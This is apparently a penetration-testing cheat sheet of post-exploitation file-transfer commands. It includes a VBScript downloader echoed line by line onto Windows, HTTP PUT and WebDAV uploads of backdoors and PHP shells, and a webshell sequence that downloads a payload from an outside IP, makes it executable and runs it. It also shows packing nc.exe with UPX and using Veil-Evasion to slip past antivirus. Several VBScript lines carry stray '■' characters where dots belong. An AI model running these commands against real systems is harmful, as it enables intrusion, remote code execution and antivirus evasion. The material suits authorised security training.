

# FileUpload\_Download\_Transfer

## [+] File Transfers

- Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
- Simple Local Web Servers
  - Run a basic http server, great for serving up shells etc  
python -m SimpleHTTPServer 80
  - Run a basic Python3 http server, great for serving up shells etc  
python3 -m http.server
  - Run a ruby webrick basic http server  
ruby -rwebrick -e "WEBrick::HTTPServer.new  
(:Port => 80, :DocumentRoot => Dir.pwd).start"
  - Run a basic PHP http server  
php -S \$ip:80
- Creating a wget VB Script on Windows:  
[\*<https://github.com/eriklo6/oscp/blob/master/wget-vbs-win.txt>](<https://github.com/eriklo6/oscp/blob/master/wget-vbs-win.txt>)
- Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tr

```
echo Set args = Wscript.Arguments >> webdl.vbs
timeout 1
echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs
timeout 1
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs
timeout 1
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs
timeout 1
echo xHttp.Open "GET", Url, False >> webdl.vbs
timeout 1
echo xHttp.Send >> webdl.vbs
timeout 1
echo with bStrm >> webdl.vbs
timeout 1
echo ■.type = 1 ' >> webdl.vbs
timeout 1
echo ■.open >> webdl.vbs
timeout 1
echo ■.write xHttp.responseBody >> webdl.vbs
timeout 1
echo ■.savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs
timeout 1
echo end with >> webdl.vbs
timeout 1
echo
```

The file can be run using the following syntax:

```
`C:\temp\cscript.exe webdl.vbs`
```

- Mounting File Shares
  - Mount NFS share to /mnt/nfs  
mount \$ip:/vol/share /mnt/nfs
- HTTP Put  
nmap -p80 \$ip --script http-put --script-args  
http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php

## [+] Uploading Files

- SCP

```
scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2

scp localfile username@$ip:~/Folder/

scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~
```

- Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor

```
`davtest -move -senddbd auto -url http://$ip`
```

```
https://github.com/cldrn/davtest
```

You can also upload a file using the PUT method with the curl command:

```
`curl -T 'leetshellz.txt' 'http://$ip`
```

And rename it to an executable file using the MOVE method with the curl command:

```
`curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt`
```

- Upload shell using limited php shell cmd  
use the webshell to download and execute the meterpreter  
\[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O  
/tmp/evil" http://\$ip/files/sh.php  
\[curl -s --data "cmd=chmod 777 /tmp/evil"  
http://\$ip/files/sh.php  
curl -s --data "cmd=bash -c /tmp/evil" http://\$ip/files/sh.php

- TFTP  
mkdir /tftp  
atftpd --daemon --port 69 /tftp  
cp /usr/share/windows-binaries/nc.exe /tftp/  
EX. FROM WINDOWS HOST:  
C:\\Users\\Offsec>tftp -i \$ip get nc.exe

- FTP  
apt-get update && apt-get install pure-ftpd  
  
#!/bin/bash  
groupadd ftpgroup  
useradd -g ftpgroup -d /dev/null -s /etc ftpuser  
pure-pw useradd offsec -u ftpuser -d /ftphome  
pure-pw mkdb  
cd /etc/pure-ftpd/auth/  
ln -s ../conf/PureDB 60pdb  
mkdir -p /ftphome  
chown -R ftpuser:ftpgroup /ftphome/  
  
/etc/init.d/pure-ftpd restart

#### [+] Packing Files

- Ultimate Packer for eXecutables  
upx -9 nc.exe
- exe2bat - Converts EXE to a text file that can be copied and  
pasted  
locate exe2bat  
wine exe2bat.exe nc.exe nc.txt
- Veil - Evasion Framework -  
<https://github.com/Veil-Framework/Veil-Evasion>  
apt-get -y install git  
git clone https://github.com/Veil-Framework/Veil-Evasion.git  
cd Veil-Evasion/  
cd setup  
setup.sh -c